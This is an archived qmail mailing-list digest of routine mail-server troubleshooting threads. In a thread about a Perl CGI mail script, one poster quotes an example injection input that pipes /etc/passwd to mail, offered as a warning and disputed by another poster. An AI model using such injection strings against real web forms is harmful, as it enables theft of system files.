qmail Digest 14 Nov 2000 11:00:00 -0000 Issue 1183
Topics (messages 52072 through 52137):
*.lock files (?)
52072 by: Miguel Beccari
Re: how to use qmail-remote
52073 by: James Raftery
Re: qmail 1.04
52074 by: Peter van Dijk
451 qq Trouble creating files in Queue
52075 by: Michael Maier
fetchmail: signal 13 again
52076 by: Sebastian Steinlechner
Forwarding mail to another SMTP server on the same machine
52077 by: Myles Chippendale
52080 by: Peter Green
Would like: Qmail send automatically incoming email to remote server
52078 by: Christophe.Andreoli.nse.de
52079 by: Markus Stumpf
Re: perl script acting funny
52081 by: Peter Green
52103 by: Wesley Wannemacher
52106 by: Peter Green
52107 by: Markus Stumpf
52111 by: Wesley Wannemacher
how to send out local and remote mail immedately
52082 by: Mark Lo
52084 by: Ruprecht Helms
52093 by: Dave Sill
Re: Backups ??
52083 by: Casey Allen Shobe
Re: Script for adding new qmailusers
52085 by: Travis Turner
pine.conf /Pine 4.20 patched/Maildir
52086 by: Abel Lucano
Re: RFC822 compliant?
52087 by: Russ Allbery
52117 by: Bruno Wolff III
52118 by: Russ Allbery
52121 by: Russell Nelson
52122 by: Russell Nelson
52123 by: Louis Theran
52130 by: Russ Allbery
EZMLM Domain Change
52088 by: cmoewes.moewes.com
52100 by: Jan Knepper
52109 by: Jeremy McLeod
Re: No local deliveries
52089 by: Ben Beuchler
52090 by: Frank Tegtmeyer
52092 by: Chris Olson
52094 by: Chris Olson
52099 by: Frank Tegtmeyer
Linuxconf popusers
52091 by: Travis Turner
Re: field rewritten?
52095 by: Enrique Vadillo
52096 by: markd.bushwire.net
meaning of the log files
52097 by: Mark Lo
52108 by: Uwe Ohse
52113 by: Rod... Whitworth
fetchmail signal 13 again
52098 by: Sebastian Steinlechner
Clear the queue of qmail
52101 by: Pedro Pires
Re: Oversize DNS Patch
52102 by: David Dyer-Bennet
52104 by: Adam McKenna
no "ESMTP" prompt after some messages
52105 by: Davide Giunchi
52110 by: Ben Beuchler
[OT]Help trying to understand rfc822!
52112 by: martin langhoff
52119 by: Russ Allbery
Long Local Delivery Delays
52114 by: Jamin A. Brown
52115 by: markd.bushwire.net
52116 by: Greg Owen
52120 by: Jamin A. Brown
52131 by: Ricardo Cerqueira
MX routing question
52124 by: Oliver Menzel
52125 by: Chris Johnson
52126 by: Oliver Menzel
52127 by: Chris Johnson
52129 by: Oliver Menzel
How do I route to another host?
52128 by: mark.sidell.org
Interfacing qmail with Netscape LDAP
52132 by: Aashish Kumar A Saxena
Very Urgent Pls Help
52133 by: rupak.enet.com.np
pop3 isn't finding Maildir
52134 by: Ruprecht Helms
52136 by: Andrew Richards
Re: multilog logging with vpopmail
52135 by: Miguel Beccari
Antispam with authorization from POP3 server.
52137 by: Michael A. Borisov
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I have qmail installed on 2 machines (it works very very well).
Now I have a new machine and I have to install qmail again (the first time
has been very HARD!!!)
I have just finished my work.
I create a vdomain with vpopmail, and a vuser.
I send an email to the new user, and with telnet on 110 a read the mail
OK, it works!
I restart qmail, supervise, multilog etc etc and.......
(#5.1.1) sorry no mailbox here
What's happened ?
I noticed *.lock files in /var/qmail/control and /home/vpopmail/domains/
if I read then they are empty!
if I copy the original file onto the .lock everything work fine again.
Why theese .lock files?
Best regards,
MiGhi
On Sun, Nov 12, 2000 at 09:02:39PM +0000, ketan bajaj wrote:
> i'm trying to send an email using qmail-remote, i'm not able to send the
> message content. How does qmail-remote read the message content?
It reads from STDIN.
> i'm using "qmail-remote host sender recip [ recip ... ]" as per the man
> pages.
> After typing in the message content in a newline i do cntrl-D...
Put the message you want to send into a file, and supply it to
qmail-remote's STDIN. For most shells, this works as
qmail-remote mail.host.com [EMAIL PROTECTED] [EMAIL PROTECTED] < file
`man qmail-remote`
james
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On Mon, Nov 13, 2000 at 10:13:44AM +0100, Markus Stumpf wrote:
> On Thu, Nov 09, 2000 at 01:36:08PM -0800, Ben Beuchler wrote:
> > What's wrong with 'virtualdomains'?
>
> It probably would also be cool to have a cdb for vitualdomains, just
> like morercpthosts.
That would mean that virtualdomains updates are instantly instead of
only happening at SIGHUP?
There is no performance benefit in having virtualdomains as a cdb.
Greetz, Peter
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Hi all!
When I send out dozens of Messages I get that Error 451 qq Trouble
creating files in Queue.
I did already make setup check but it didn't help!
So why is that Error occuring ?
Can it be possible that my Hard Disk is to busy/slow ????
Thanks in Advance,
Michael!
I know that this has been discussed really often. But all the answers to
earlier messages didn't help me at all.
So here is what I want to do:
I've got a multiple drop account at post.strato.de (account
[EMAIL PROTECTED]). All the messages come in as [EMAIL PROTECTED]
and should be delivered to xyz on my local machine. If there is no local user
named xyz, the mail should not be sent to postmaster or something like that,
but the sender of the mail should receive an error message. But I didn't
even get this far...
Here's what fetchmail says:
--- snip ---
fetchmail: POP3< 28 9810
fetchmail: 5.0.3 querying mail.hi.shuttle.de (protocol POP3) at Mon, 13
Nov 2000
fetchmail: POP3< +OK POP3 Welcome to GNU POP3 Server Version 0.9.8
<16928.974118
fetchmail: POP3> USER ss1014
fetchmail: POP3< +OK
fetchmail: POP3> PASS *
fetchmail: POP3< +OK opened mailbox for ss1014
fetchmail: POP3> STAT
fetchmail: POP3< +OK 31 869518
fetchmail: POP3> LAST
fetchmail: POP3< -ERR Invalid command
fetchmail: POP3> UIDL
fetchmail: POP3< +OK
fetchmail: POP3< 1
LYRIS-640430-346918-2000.10.24-01.53.59--nicolek#gysar.hi.ni.
fetchmail: POP3< 2
LYRIS-640430-346918-2000.10.24-01.53.59--nicolek#gysar.hi.ni.
fetchmail: POP3< 3 bulk.22232.20001029200314
fetchmail: POP3< 4 F12xP2ittcXmYaiJOaH00002339
fetchmail: POP3< 5 Pine.LNX.4.21.0010311633071.31536-100000
fetchmail: POP3< 6 000801c0435e$8508b0e0$841706d5
fetchmail: POP3< 7 39FF3438.628ABCD7
fetchmail: POP3< 8
LYRIS-640430-369949-2000.11.01-05.42.50--nicolek#gysar.hi.ni.
fetchmail: POP3< 9 002a01c043f4$41714f40$0100a8c0
fetchmail: POP3< 10 13r1f6-0a2EN6C
fetchmail: POP3< 11 Pine.LNX.4.21.0011031806340.29786-100000
fetchmail: POP3< 12 99.c0af864.27348725
fetchmail: POP3< 13 20001103103814.6920.qmail
fetchmail: POP3< 14 20001104162733.85F69A86BD
fetchmail: POP3< 15 3A054DB8.3AAD7931
fetchmail: POP3< 16 381964659.973457105451.JavaMail.root
fetchmail: POP3< 17 bulk.20040.20001106001215
fetchmail: POP3< 18 3A05E005.8D3EEB49
fetchmail: POP3< 19 20001106.221254.-3836847.0.my_paris_rose
fetchmail: POP3< 20 13t9zr-0ifcauC
fetchmail: POP3< 21 000b01c048f1$50c24100$0b02a8c0
fetchmail: POP3< 22 3A0818C6.51718479
fetchmail: POP3< 23 113228359904.20001108101540
fetchmail: POP3< 24 Pine.LNX.4.21.0011081740190.31839-100000
fetchmail: POP3< 25 3A0B014A.53A60CEE
fetchmail: POP3< 26
LYRIS-640430-390119-2000.11.11-10.30.10--nicolek#gysar.hi.ni
fetchmail: POP3< 27 1805.973954526
fetchmail: POP3< 28 1805.973954526
fetchmail: POP3< 29 3A0E9ADA.13284F65
fetchmail: POP3< 30 003101c04ce0$7eab1360$0100a8c0
fetchmail: POP3< 31 bulk.25086.20001113093440
fetchmail: POP3< .
31 messages for ss1014 at mail.hi.shuttle.de (869518 octets).
fetchmail: POP3> LIST
fetchmail: POP3< +OK
fetchmail: POP3< 1 481
fetchmail: POP3< 2 30861
fetchmail: POP3< 3 9212
fetchmail: POP3< 4 2231
fetchmail: POP3< 5 3312
fetchmail: POP3< 6 3579
fetchmail: POP3< 7 1574
fetchmail: POP3< 8 32505
fetchmail: POP3< 9 1896
fetchmail: POP3< 10 1392
fetchmail: POP3< 11 4006
fetchmail: POP3< 12 170002
fetchmail: POP3< 13 1487
fetchmail: POP3< 14 2458
fetchmail: POP3< 15 1691
fetchmail: POP3< 16 2431
fetchmail: POP3< 17 7774
fetchmail: POP3< 18 3887
fetchmail: POP3< 19 1482
fetchmail: POP3< 20 1759
fetchmail: POP3< 21 5972
fetchmail: POP3< 22 333583
fetchmail: POP3< 23 167770
fetchmail: POP3< 24 4790
fetchmail: POP3< 25 4477
fetchmail: POP3< 26 35716
fetchmail: POP3< 27 9809
fetchmail: POP3< 28 9810
fetchmail: POP3< 29 1359
fetchmail: POP3< 30 1535
fetchmail: POP3< 31 10677
fetchmail: POP3< .
fetchmail: POP3> TOP 1 99999999
fetchmail: POP3< +OK
reading message 1 of 31 (481 octets)
fetchmail: retained
fetchmail: POP3> TOP 2 99999999
fetchmail: POP3< +OK
reading message 2 of 31 (30861 octets)
fetchmail: SMTP< 220 senfpott.gysar ESMTP
fetchmail: SMTP> EHLO localhost
fetchmail: SMTP< 250-senfpott.gysar
fetchmail: SMTP< 250-PIPELINING
fetchmail: SMTP< 250 8BITMIME
fetchmail: SMTP> MAIL FROM:<[EMAIL PROTECTED]>
fetchmail: SMTP< 250 ok
fetchmail: SMTP> RCPT TO:<steini@localhost>
fetchmail: SMTP< 250 ok
fetchmail: SMTP> DATA
fetchmail: SMTP< 354 go ahead
fetchmail: terminated with signal 13
--- snip ---
Of course I'm running fetchmail with forcecr turned on (it's in my
.fetchmailrc and it's listed with fetchmail --version).
Anyone?
Thanks in advance,
Sebastian Steinlechner
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All,
Firstly, apologies if this has been asked before. I couldn't
find exactly what I wanted in the FAQ. I am not familiar with
qmail and just need to get this to work!
I have a domain (call it mydom.co.uk) whose email is handled by qmail on
a server (call it myserver.com). What I want to do is have email
sent to [EMAIL PROTECTED] sent to a custom SMTP server
running on myserver.com (on port 1615). I can get the ISP to create
an MX record pointing boards.mydom.co.uk to myserver.com. I
assume I then want to add boards.mydom.co.uk to virtualdomains
but I'm not sure how to get any incoming emails sent off to the SMTP
server on port 1615 rather than a particular user.
Thanks in advance for any help.
Myles
* Myles Chippendale <[EMAIL PROTECTED]> [001113 09:05]:
> I have a domain (call it mydom.co.uk) whose email is handled by qmail on
> a server (call it myserver.com). What I want to do is have email
> sent to [EMAIL PROTECTED] sent to a custom SMTP server
> running on myserver.com (on port 1615). I can get the ISP to create
> an MX record pointing boards.mydom.co.uk to myserver.com. I
> assume I then want to add boards.mydom.co.uk to virtualdomains
> but I'm not sure how to get any incoming emails sent off to the SMTP
> server on port 1615 rather than a particular user.
On myserver.com, set up qmail to listen on port 25. Add ``mydom.co.uk'' to
rcpthosts. Add:
mydom.co.uk:myserver.com:1615
to smtproutes. Remove *all* other instances of ``mydom.co.uk'' from the
control files, including and especially locals and virtualdomains.
Alternatively, depending on how much you trust the custom SMTP server on
1615, you might make it listen *only* to localhost (127.0.0.1) and alter the
smtproutes line above to deliver it to localhost. This will prevent people
from randomly probing and attacking the server on that port... YMMV...
/pg
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(Linus Torvalds about the superiority of Linux on the Amterdam
Linux Symposium)
Hello !
I would like that Qmail forward automatically all the incoming email to
mailboxes an another Server.
What is the fastest way to do it ?
thanks
On Mon, Nov 13, 2000 at 03:24:40PM +0100, [EMAIL PROTECTED] wrote:
> I would like that Qmail forward automatically all the incoming email to
> mailboxes an another Server.
Add the line to /var/qmail/control/smtproutes:
:another.mailserver
\Maex
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* Timothy Legant <[EMAIL PROTECTED]> [001112 19:28]:
> On Sun, Nov 12, 2000 at 12:55:08PM -0500, Peter Green wrote:
> > program with either [EMAIL PROTECTED] (the literal user and machine
> > name where the mail is originating) or the argument to the ``-f'' flag as
> > specified above.
>
> Does the sendmail wrapper ignore Return-Path and instead use
> [EMAIL PROTECTED]? Certainly qmail-inject doesn't, but I haven't
> experimented with /var/qmail/bin/sendmail to check....
I was insinuating that it does, contrary to your statements. That had been
my experience, but if I was mistaken (which I don't doubt for a second :)
then I apologize for spreading vicious lies. ;)
/pg
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Linux is obsolete
(Andrew Tanenbaum)
I could be a little bit off-base, but it might be a bad idea to
approach your problem this way. For instance, what if a person enters
somewhere in the form:
`cat /etc/passwd | mail -s "You dumb f***, you just got hacked"
[EMAIL PROTECTED]`
It is notoriously bad to /usr/lib/sendmail from a CGI script. Try
using the Net::SMTP module instead. It uses sockets, so you wouldn't
even have to worry about your local MTA.
/Wes
Wesley A. Wannemacher
[EMAIL PROTECTED]
Instructor, Network Administrator
University of Northwestern Ohio
http://www.unoh.edu
> -----Original Message-----
> From: Greg Kopp [mailto:[EMAIL PROTECTED]]
> Sent: Sunday, November 12, 2000 12:56 AM
> To: [EMAIL PROTECTED]
> Subject: perl script acting funny
>
>
> I have qmail and vpopmail installed on RH 6.2. I have a
> perl subroutine that
> we use to send e-mail. Here is the code snipit:
>
> sub mailto
> { $mailprog = '/usr/lib/sendmail';
> open(MAIL,"|$mailprog -t");
> my @args = @_;
> print MAIL "To: $args[0]\n";
> print MAIL "Bcc: $args[4]\n";
> print MAIL "From: $args[1]\n";
> print MAIL "Subject: $args[2]\n";
> print MAIL "$args[3]\n";
> close MAIL;
> }
>
> BUT when a mail message gets bounced, the message comes
> back to the user
> that the web server is running as. Looking at the bounce, I
> see this:
>
> Hi. This is the qmail-send program at ideastar.com.
> I'm afraid I wasn't able to deliver your message to the
> following addresses.
> This is a permanent error; I've given up. Sorry it didn't work out.
>
> <[EMAIL PROTECTED]>:
> 128.11.69.53 failed after I sent the message.
> Remote host said: 554 delivery error: dd This user doesn't
> have a yahoo.com
> account ([EMAIL PROTECTED]) - mta129.mail.yahoo.com
>
> --- Below this line is a copy of the message.
>
> Return-Path: <[EMAIL PROTECTED]>
> Received: (qmail 509 invoked by uid 1001); 9 Nov 2000 20:20:12 -0000
> Date: 9 Nov 2000 20:20:12 -0000
> Message-ID: <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> From: [EMAIL PROTECTED]
> Subject: Thank you
>
>
> Any ideas what could be causing this and any possible solutions?
>
> Thanks,
>
> Greg
>
* Wesley Wannemacher <[EMAIL PROTECTED]> [001113 15:09]:
> I could be a little bit off-base, but it might be a bad idea to
> approach your problem this way. For instance, what if a person enters
> somewhere in the form:
> `cat /etc/passwd | mail -s "You dumb f***, you just got hacked"
> [EMAIL PROTECTED]`
Where exactly would that line be exec'd? There is only one place in the
included code where stuff gets executed...there isn't any place to sneak
your little command to the shell.
> It is notoriously bad to /usr/lib/sendmail from a CGI script. Try
Nah, it isn't all that bad. Especially since he isn't passing any
possibly-tainted data to the shell (in the open() line).
/pg
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the stupid man will just lay down on some seaweed and roll around until he's
completely draped in it. Then he'll stand up and go: Hey, I'm Vine Man.
(Jack Handey)
On Mon, Nov 13, 2000 at 03:04:27PM -0500, Wesley Wannemacher wrote:
> It is notoriously bad to /usr/lib/sendmail from a CGI script. Try
> using the Net::SMTP module instead. It uses sockets, so you wouldn't
> even have to worry about your local MTA.
But you have to worry about connection failures, temporary errors, ...
By using Net::SMTP from a cgi you'd have to rebuild a complete
queuing strategy in case the mailserver doesn't accept the message.
\Maex
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I have not tested this, but I was under the impression that the shell
might present the problem on the last print statement:
--> print MAIL "$args[3]\n";
I'll have to check the O'Reilly book on CGI programming, but this is
pretty bad if I remember correctly. I know that the formail code from
Matt's Script Archive was exploited this way. The only way to be sure
is to test it. As far as I can tell the flow of the program would be
as follows
HTML Form -> PERL Code -> shell.
The backticks would preparsed by the shell. The output of the backtick
statement would then be sent in the email. I am still somewhat of a
perl newbie, so I could be wrong.
Although at this point you may be interacting with the sendmail
wrapper program. If this were the case, there is no risk.
I will try it later tonight and let everyone know.
/Wes
Wesley A. Wannemacher
[EMAIL PROTECTED]
Instructor, Network Administrator
University of Northwestern Ohio
http://www.unoh.edu
> -----Original Message-----
> From: Peter Green [mailto:[EMAIL PROTECTED]]
> Sent: Monday, November 13, 2000 3:16 PM
> To: [EMAIL PROTECTED]
> Subject: Re: perl script acting funny
>
>
> * Wesley Wannemacher <[EMAIL PROTECTED]> [001113 15:09]:
> > I could be a little bit off-base, but it might be a bad idea to
> > approach your problem this way. For instance, what if a
> person enters
> > somewhere in the form:
> > `cat /etc/passwd | mail -s "You dumb f***, you just got hacked"
> > [EMAIL PROTECTED]`
>
> Where exactly would that line be exec'd? There is only one
> place in the
> included code where stuff gets executed...there isn't any
> place to sneak
> your little command to the shell.
>
> > It is notoriously bad to /usr/lib/sendmail from a CGI script. Try
>
> Nah, it isn't all that bad. Especially since he isn't passing any
> possibly-tainted data to the shell (in the open() line).
>
> /pg
> --
> Peter Green : Gospel Communications Network, SysAdmin :
> [EMAIL PROTECTED]
> ---
> The wise man can pick up a grain of sand and envision a
> whole universe. But
> the stupid man will just lay down on some seaweed and roll
> around until he's
> completely draped in it. Then he'll stand up and go: Hey,
> I'm Vine Man.
> (Jack Handey)
>
Hi,
I have 3 messages in remote queue and 1 message in local queue. I
would like to know how to send out those messages immediately ?
Thank you so much for your attentions,
Mark Lo
At 23:27 13.11.00 +0800, Mark Lo wrote:
>Hi,
>
> I have 3 messages in remote queue and 1 message in local queue. I
>would like to know how to send out those messages immediately ?
Using a permanet internetconnection and don't use serialmail.
I think that must be all.
Regards,
Ruprecht
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"Mark Lo" <[EMAIL PROTECTED]> wrote:
> I have 3 messages in remote queue and 1 message in local queue. I
>would like to know how to send out those messages immediately ?
Send qmail-send and ALRM signal. If that doesn't work, check your
logs.
-Dave
> Is anyone here using QMail with IMAP ?
Yes, IMAP, POP3, SMTP, and a PHP Webmail interface to IMAP (using Courier-
IMAP)
> How do you backup your users email ?
I have an array of machines on a network. 3 machines make a backup twice
daily, and several other machines feed off of them to store backups for
every day up to 5 days ago.
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**Using AixOS.net Webmail Interface**
Thanks to all
Regards,
Travis
At 07:29 PM 11/10/2000 -0700, Andy Bradford wrote:
>Thus said defender of the protocol on Fri, 10 Nov 2000 21:24:59 EST:
>
> > someone correct me if im wrong, but when i add a user (to users/assign, i
> > have all virtualdomains), i run qmail-newu and SIGHUP qmail-send, so yeah
>
>There is no need to HUP qmail-send unless virtualdomains or locals has
>changed. You can add and remove users from users/assign at will
>without restarting anything. The only thing that needs to be done is
>create the new cdb with qmail-newu.
>
>Andy
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Travis Turner
Information Technology Manager
Applied Integration Corporation
Tucson, Arizona U.S.A.
Phone (520) 743-3095
Fax (520) 623-1683
Hi there,
I've patched my pine and I can read user Maildir format without any additional
conf.
inbox-path = <No Value Set: using "inbox">
incoming-archive-folders = <No Value Set>
pruned-folders = <No Value Set>
read-message-folder = <No Value Set>
But I can't read ~alias/Maildir (I tried the obvious guesses in "setup")
Could you point me the right conf to read ~alias/Maildir with pine 4.20 patched
please?
Thanks in advance
Abel Lucano
Aolsa
email: [EMAIL PROTECTED]
briank <[EMAIL PROTECTED]> writes:
> Thanks for the response. I'm still a bit confused, though: If I
> attempt to inject a piece of mail with a valid, RFC822-compliant
> address, and qmail rejects it due to some sort of internal formatting it
> does, does this not defeat the purpose of having an Internet standard to
> begin with?
No, because the purpose of RFC 822 isn't to determine a user interface.
It's to establish a protocol for *computers* to talk to each other. As
soon as you're dealing with user input, you're outside its scope.
That being said, it would somewhat surprise me if qmail-inject with a sane
configuration would reject or mishandle any RFC 822 compliant address.
> BTW, this isn't flamebait (comment for Felix). I'm just trying to figure
> out why qmail is unable to correctly resolve an address in the format
> someone@domain
Do you mean "someone@domain" as the complete address with no dots on the
right-hand side? Bear in mind that RFC 822 contains *no* address
canonicalization provisions; if you're expecting your local domain to be
appended to the RHS, you're outside the scope. Under RFC 822, the above
address indicates that one should deliver the mail to the MX record for
"domain." (and as a general rule, TLDs don't have MX records, although it
is technically legal).
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Russ Allbery ([EMAIL PROTECTED]) <http://www.eyrie.org/~eagle/>
On Mon, Nov 13, 2000 at 08:05:20AM -0800,
Russ Allbery <[EMAIL PROTECTED]> wrote:
>
> Do you mean "someone@domain" as the complete address with no dots on the
> right-hand side? Bear in mind that RFC 822 contains *no* address
> canonicalization provisions; if you're expecting your local domain to be
> appended to the RHS, you're outside the scope. Under RFC 822, the above
> address indicates that one should deliver the mail to the MX record for
> "domain." (and as a general rule, TLDs don't have MX records, although it
> is technically legal).
He probably means a domain with no dots. For example:
discuss@opennic
Bruno Wolff <[EMAIL PROTECTED]> writes:
> He probably means a domain with no dots. For example: discuss@opennic
That's a dumb idea.
Anyway, qmail's behavior for such domain names is documented in
qmail-header(5):
All host names should be fully qualified. qmail-inject appends the
default domain name to any name without dots:
djb@silverton -> [EMAIL PROTECTED]
So qmail-inject currently cannot handle mail to such domains. This is
arguably a flaw in the interface. qmail itself can handle such mail
without any difficulties at the protocol level, as I think could be
established by using the qmail-queue interface directly.
--
Russ Allbery ([EMAIL PROTECTED]) <http://www.eyrie.org/~eagle/>
[EMAIL PROTECTED] writes:
> BTW, this isn't flamebait (comment for Felix). I'm just trying to
> figure out why qmail is unable to correctly resolve an address in the
> format
>
> someone@domain
What are you defining as correct, and why?
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Brian writes:
> Maybe I can simplify the issue here by asking a question:
>
> Is it the consensus here that the following is RFC822 compliant:
Why do you think RFC822 has anything to do with it?
> defaultdomain: empty
> QMAILDEFAULTDOMAIN=""
>
> qmail-inject converts you@somewhere -> you@somewhere. (note the period)
What does it mean to send Internet mail to a bare hostname? I don't
think there's any standard which defines what should happen to that
mail. As a hostname, a dotless name uses /etc/resolv.conf to get an
IP address, and it does so by either applying a fixed domain, or by
searching a list of domains, depending on how you've configured it.
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521 Pleasant Valley Rd. | +1 315 268 1925 voice | is to help the rich build
Potsdam, NY 13676-3213 | +1 315 268 9201 FAX | up their capital.
[EMAIL PROTECTED] (Russ Allbery) writes:
> Bruno Wolff <[EMAIL PROTECTED]> writes:
>
> > He probably means a domain with no dots. For example: discuss@opennic
>
> That's a dumb idea.
>
> Anyway, qmail's behavior for such domain names is documented in
> qmail-header(5):
>
> All host names should be fully qualified. qmail-inject appends the
> default domain name to any name without dots:
>
> djb@silverton -> [EMAIL PROTECTED]
>
> So qmail-inject currently cannot handle mail to such domains.
If you make defaultdomain the empty string, then you get:
box@host -> box@host.
and if the host's name really is ``host.'', there's no problem. (If
you want this behavior only on occasion, you can use the
QMAILDEFAULTDOMAIN environment variable.)
^L
Louis Theran <[EMAIL PROTECTED]> writes:
> If you make defaultdomain the empty string, then you get:
> box@host -> box@host.
> and if the host's name really is ``host.'', there's no problem.
Well, yes, there is, because box@host. is an invalid mailbox per RFC 822.
Trailing periods are not permitted.
(My guess is that djb would call an empty defaultdomain an unsupported
configuration.)
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Russ Allbery ([EMAIL PROTECTED]) <http://www.eyrie.org/~eagle/>
I cant seem to find any referene to doing this anywhere so here
goes. I have a couple of lists that have about 6 months worth of
archives that I don't want to lose, but for political reasons I need
to change the domain name of the list. Nothing else will be changing
(including the server or the list name.. nothing) All I need to change
is the domain name the list operates under. How can I do this?? Or how
can I recreate the list and move the archives over. I know/hope there
must be a way to do this.
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http://www.moewes.com
http://www.linuxnovice.org
There is a ezmlm list [EMAIL PROTECTED] where they might know more about
this.
I personally would just create a list with the same name in the new
domain, COPY the original list's directory and replace old-domain with
new-domain in all the config, archive, etc files. Than send a couple of
messages to the newly created list and see what happens. I guess it's EZ
enough to determine whether or not it works. If it does, just repeat the
same steps, i.e. copy+change and do something about the old list address.
HTH
Don't worry, be Kneppie!
Jan
[EMAIL PROTECTED] wrote:
> I cant seem to find any referene to doing this anywhere so here
> goes. I have a couple of lists that have about 6 months worth of
> archives that I don't want to lose, but for political reasons I need
> to change the domain name of the list. Nothing else will be changing
> (including the server or the list name.. nothing) All I need to change
> is the domain name the list operates under. How can I do this?? Or how
> can I recreate the list and move the archives over. I know/hope there
> must be a way to do this.
>
> --
>
> Christopher R. Moewes-Bystrom
> [EMAIL PROTECTED]
> http://www.moewes.com
> http://www.linuxnovice.org
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-- Charles Forsythe <[EMAIL PROTECTED]>
H: line in DIR/config.
Auf Nov 13, 2000, an 09:51, [EMAIL PROTECTED] besagt dieses:
>I cant seem to find any referene to doing this anywhere so here
>goes. I have a couple of lists that have about 6 months worth of
>archives that I don't want to lose, but for political reasons I need
>to change the domain name of the list. Nothing else will be changing
>(including the server or the list name.. nothing) All I need to change
>is the domain name the list operates under. How can I do this?? Or how
>can I recreate the list and move the archives over. I know/hope there
>must be a way to do this.
>
>
>--
>
>Christopher R. Moewes-Bystrom
>[EMAIL PROTECTED]
>http://www.moewes.com
>http://www.linuxnovice.org
>
-jeremy
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On Mon, Nov 13, 2000 at 10:59:58AM -0600, Chris Olson wrote:
> two days trying to diagnose the problem, but so far no luck. qmail will
> accept mail from remote servers and from local clients that is destined
> for a local mailbox, but it never gets delivered to the local mailbox.
> It appears to end up in the queue and it stays there. I'm using the
What Do The Logs Say? (TM)
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Now for me: "What do the logs say? (tm)"
I'm running qmail on a linux (Debian) machine. I'm getting no local
deliveries. When sending an email local2remote it seems to go thru with
no problem. I've been studying the flow charts in /etc/qmail/doc for
two days trying to diagnose the problem, but so far no luck. qmail will
accept mail from remote servers and from local clients that is destined
for a local mailbox, but it never gets delivered to the local mailbox.
It appears to end up in the queue and it stays there. I'm using the
Maildir system instead of Mailbox, and have changed the line in
/etc/qmail/rc to reflect that, and in addition, the Maildir directory is
installed in each user's home directory at /home/~user/Maildir with the
appropriate subdirectories /new /temp /cur
I've also tried with the conventional Mailbox/mbox structure and local
delivery still doesn't happen.
I have the qmail users and groups set up correctly, according to the
documentation. The /home directory is owned by root, and each
individual user directory ( /home/~user ) is owned by the user. These
directories are not group and world writeable, and the group on all
these directories is group: users
Any help in getting local deliveries fixed would be greatly
appreciated. You may email me off-list if desired.
Regards,
--
Chris Olson
Frank Tegtmeyer wrote:
>
> Now for me: "What do the logs say? (tm)"
OK, I'm feeling stupid now <G>. Here's one line of many (they all say
the same thing except for the message ID.):
tcpserver: fatal: unable to bind: address already used
This came from /var/log/qmail/qmail-smtpd
Now I'm trying to figure out what that means. I'm brand new to Linux,
having migrated here from Windows NT. Sorry if my question seems less
than intelligent, but I AM in a learning process here.
Thanks much,
--
Chris Olson
> tcpserver: fatal: unable to bind: address already used
>
> This came from /var/log/qmail/qmail-smtpd
That means that a second process is listening on port 25. Either you have
still another MTA (sendmail, exim, smail, ...) running or you bound inetd
to this port.
To disable inetd comment out the line that begins with "smtp" in
/etc/inetd.conf. After that look for the process id of inetd and issue the
command: kill -HUP <pid_of_inetd>
If this doesn't help it's the first thing (still running MTA).
Please test local delivery with qmail-inject, like the installation doc
says. This eliminates other problems with SMTP.
Regards Frank
Hello All,
I gave out some information and I do not even know if it is the best
way. Can you create popusers under linuxconf and then use the
qmail-pw2u/qmail-newu commands. It seems to work after the Maildir is
created under that user when you telnet to localhost 110 but qmail is not
getting the messages sent to that user to the right mailbox. Should I just
use the normal useradd command instead?
Regards,
Trav
Travis Turner
Information Technology Manager
Applied Integration Corporation
Tucson, Arizona U.S.A.
Phone (520) 743-3095
Fax (520) 623-1683
Hi,
Some of my users are complaining that Qmail is rewriting dates showing
in the "Date:" field, for instance, if someone write some message from
France right now being 1 pm here and 7 pm in Paris, it shows our 1 pm
local time under qmail, a copy of the *SAME* message in a sendmail-based
box shows me 7 pm as the "Date:" field which is -i believe- accurate.
What do i have to dso so shat Qmail does NOT rewrite Date: fields??
Thanks!
Enrique-
On Mon, Nov 13, 2000 at 01:02:14PM -0500, Enrique Vadillo wrote:
> Hi,
>
> Some of my users are complaining that Qmail is rewriting dates showing
> in the "Date:" field, for instance, if someone write some message from
> France right now being 1 pm here and 7 pm in Paris, it shows our 1 pm
> local time under qmail, a copy of the *SAME* message in a sendmail-based
> box shows me 7 pm as the "Date:" field which is -i believe- accurate.
>
> What do i have to dso so shat Qmail does NOT rewrite Date: fields??
It sounds like you didn't both to check the complaint. Did you actually
look at the mails? Did you try and reproduce the problem? Did you check
the qmail documentation? Did you search the qmail archives for similar
questions?
Qmail doesn't modify headers. UAs sometimes convert headers to something
they think you want to see.
Regards.
Hi,
In my /var/log/qmail/current file, I got some error messages that i
would like to know what is the meaning.
That is, "warning: trouble opening local/8/16131; will try again lager."
Thank you so much for your help.
Mark Lo
On Tue, Nov 14, 2000 at 02:19:29AM +0800, Mark Lo wrote:
> In my /var/log/qmail/current file, I got some error messages that i
> would like to know what is the meaning.
> That is, "warning: trouble opening local/8/16131; will try again lager."
qmail-send either failed to open the file /var/qmail/queue/local/8/16131
or to open, read or understand /var/qmail/queue/info/8/16131.
Check especially the second one: for existance, readability and content
(Fsender@domain\0 <- the last character being an ASCII 0)
Regards, Uwe
On Tue, 14 Nov 2000 02:19:29 +0800, Mark Lo wrote:
> trouble opening local/8/16131; will try again lager."
^^^^^^^^^^^^^ ^^^^^^
Were you in the pub directory? I'll slip down to my
local and have a beer!
My many typos don't usually have a smile as a result.
Thank your fingers for this one!
In the beginning was The Word
and The Word was Content-type: text/plain
The Word of Rod.
I know that this has been discussed really often. But all the answers to
earlier messages didn't help me at all. So here is what I want to do: I've got a
multiple drop account at mail.hi.shuttle.de. All the messages come in as [EMAIL PROTECTED] and
should be delivered to xyz on my local machine. If there is no local user named
xyz, the mail should not be sent to postmaster or something like that, but the
sender of the mail should receive an error message. But I didn't even get this
far... Here's what fetchmail says: --- snip ---
fetchmail: POP3< 28 9810 fetchmail: 5.0.3 querying mail.hi.shuttle.de
(protocol POP3) at Mon, 13 Nov 2000 fetchmail: POP3< +OK POP3 Welcome to
GNU POP3 Server Version 0.9.8 <16928.974118 fetchmail: POP3> USER
ss1014 fetchmail: POP3< +OK fetchmail: POP3> PASS * fetchmail:
POP3< +OK opened mailbox for ss1014 fetchmail: POP3> STAT fetchmail:
POP3< +OK 31 869518 fetchmail: POP3> LAST fetchmail: POP3< -ERR
Invalid command fetchmail: POP3> UIDL fetchmail: POP3<
+OK fetchmail: POP3< 1
LYRIS-640430-346918-2000.10.24-01.53.59--nicolek#gysar.hi.ni. fetchmail: POP3< 2
LYRIS-640430-346918-2000.10.24-01.53.59--nicolek#gysar.hi.ni.
fetchmail:
POP3< 3 bulk.22232.20001029200314
